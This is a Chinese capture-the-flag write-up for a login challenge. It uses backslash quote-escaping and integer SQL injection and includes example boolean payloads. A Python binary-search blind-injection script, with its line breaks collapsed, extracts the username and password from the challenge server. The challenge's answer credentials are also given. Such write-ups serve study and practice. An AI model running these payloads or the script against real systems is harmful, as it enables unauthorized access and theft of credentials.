0x00 知识点
- \转义单引号
- 整型注入
- 二分法脚本
0x01 解题思路
- 打开网站一看,
再尝试在用户名和密码处尝试进行注入,发现‘,“都会报错,之后用御剑一扫,发现hint.txt文件。访问一下看看
提示说之后正确的用户和密码才能登上去,得到flag。之后给出了传参方式和mysql命令语句。
这时候很明显username处注入\来转义单引号,password处使用sql语句整数型注入。
举个例子:
a. 传入admin\ 和 or/**/length(database())>0#
会回显stronger字样
b. 传入admin\ 和 or/**/length(database())<0#
会回显girl friend字样
那我们就可以直接利用二分法脚本来跑结果
拿一个从大佬哪里借来的脚本,我太菜写不出来
import requests
url = "http://9c61c6e0-96b4-4a8d-8f33-e173951a8b05.node3.buuoj.cn/index.php"data = {"username":"admin\\","password":""}
result = ""
i = 0while( True ):i = i + 1 head=32tail=127while( head < tail ):mid = (head + tail) >> 1#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)data['password'] = payloadr = requests.post(url,data=data)if "stronger" in r.text :head = mid + 1else:tail = midlast = resultif head!=32:result += chr(head)else:breakprint(result)
切换一下上边的payload就能跑出来用户和密码
分别是admin
和OhyOuFOuNdit
之后在登录一下直接得到flag